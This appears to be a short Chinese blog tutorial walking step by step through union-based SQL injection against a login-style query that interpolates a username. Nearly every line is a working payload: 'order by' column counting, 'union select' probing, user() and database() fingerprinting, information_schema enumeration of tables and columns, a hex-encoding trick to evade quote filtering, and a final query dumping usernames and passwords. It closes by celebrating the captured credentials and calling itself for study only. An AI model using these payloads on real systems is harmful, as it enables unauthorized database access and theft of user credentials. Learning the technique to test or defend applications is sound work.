1、 首先一个sql查询语句中一定是查询表的内容，联合注入首先必须知道表内字段数，判断表内字段数语句：
（select * from user where username="{$input}";）注入语句： ' order by 1#(--+)循环操作改内容
（select * from user where username="{$input}";）注入语句： ' order by 5#(--+)由上图可以看出该数据库字段数为4.
2·、爆数据库,爆当前用户,当前数据库版本 由该例子来说，首先根据输出的内容判断字段输出位置
（select * from user where username="{$input}";）注入语句：' union select 1,1,4#(--+)接下来进行爆内容：
（select * from user where username="{$input}";）注入语句：' union select 1,user(),3,database()#(--+)通过以上信息可以看出数据库操作权限是root，数据库是users。
2、 我们要的是字段数据库内容所以继续爆表
（select * from user where username="{$input}";）注入语句：' union select 1,1,1,table_name from information_schema.tables where table_schema=database()#(--+)针对单双引号过滤对齐使用编码绕过：
（select * from user where username="{$input}";）注入语句：' union select 1,1,1,table_name from information_schema.tables where table_schema=0x7573657273#(--+)3、 接下来是表中字段进行爆破
（select * from user where username="{$input}";）注入语句：' union select 1,1,1,column_name from information_schema.columns where table_schema=database() and table_name="user"#(--+)4、 表的字段内容进行爆破
（select * from user where username="{$input}";）注入语句：' union select 1,username,3, password from user#(--+)也可以只显示一条，在实战过程可能只能输出一条结果 巧用 limit（“显示第几条”，“显示条数”）
（select * from user where username="{$input}";）注入语句：' union select 1,username,3, password from user limit 1,1#(--+)到此以拿获数据库账号密码！！！
（菜菜一个不喜勿喷）此文章仅供学习、参考！！！！
